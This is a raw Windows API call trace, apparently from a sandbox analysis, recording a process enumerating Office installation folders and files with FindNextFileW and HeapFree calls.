	[0070.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0070.120] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it", cAlternateFileName="")) returned 1
	[0070.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0070.124] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1
	[0070.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0070.126] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1
	[0070.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0070.129] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1
	[0070.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0070.132] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1
	[0070.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0070.135] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1
	[0070.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0070.137] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mashupcompression.dll", cAlternateFileName="MASHUP~1.DLL")) returned 1
	[0070.141] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0070.141] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl", cAlternateFileName="")) returned 1
	[0071.305] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0071.305] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1
	[0071.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0071.307] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office.dll", cAlternateFileName="")) returned 1
	[0071.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0071.310] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0071.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0071.312] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-pt", cAlternateFileName="")) returned 1
	[0071.315] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0071.315] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1
	[0071.318] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0071.318] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1
	[0071.320] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0071.320] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1
	[0071.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0071.323] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1
	[0071.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0071.326] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45c38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqmapi_x64.dll", cAlternateFileName="SQMAPI~1.DLL")) returned 1
	[0071.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0071.328] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn", cAlternateFileName="")) returned 1
	[0071.331] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0071.331] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0071.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0071.334] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1
	[0071.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0071.336] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6cde4ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c2b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.Spatial.NetFX35.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0071.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0071.338] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1
	[0071.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0071.341] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1
	[0071.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0071.795] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1
	[0071.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0071.797] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANS", cAlternateFileName="")) returned 1
	[0071.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0071.799] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 1
	[0071.800] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0071.800] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 0
	[0071.800] FindClose (in: hFindFile=0x5e08f0 | out: hFindFile=0x5e08f0) returned 1
	[0071.801] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0071.801] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 0
	[0071.801] FindClose (in: hFindFile=0x5e0a30 | out: hFindFile=0x5e0a30) returned 1
	[0071.801] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.801] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3688, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1
	[0071.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0071.803] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Power View Excel Add-in", cAlternateFileName="POWERV~1")) returned 1
	[0071.890] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.890] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
	[0071.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.892] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="BI-Report.png", cAlternateFileName="BI-REP~1.PNG")) returned 1
	[0071.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.893] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
	[0071.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.895] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
	[0071.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.896] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
	[0071.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.898] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
	[0071.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.900] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
	[0071.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0071.902] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1
	[0071.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
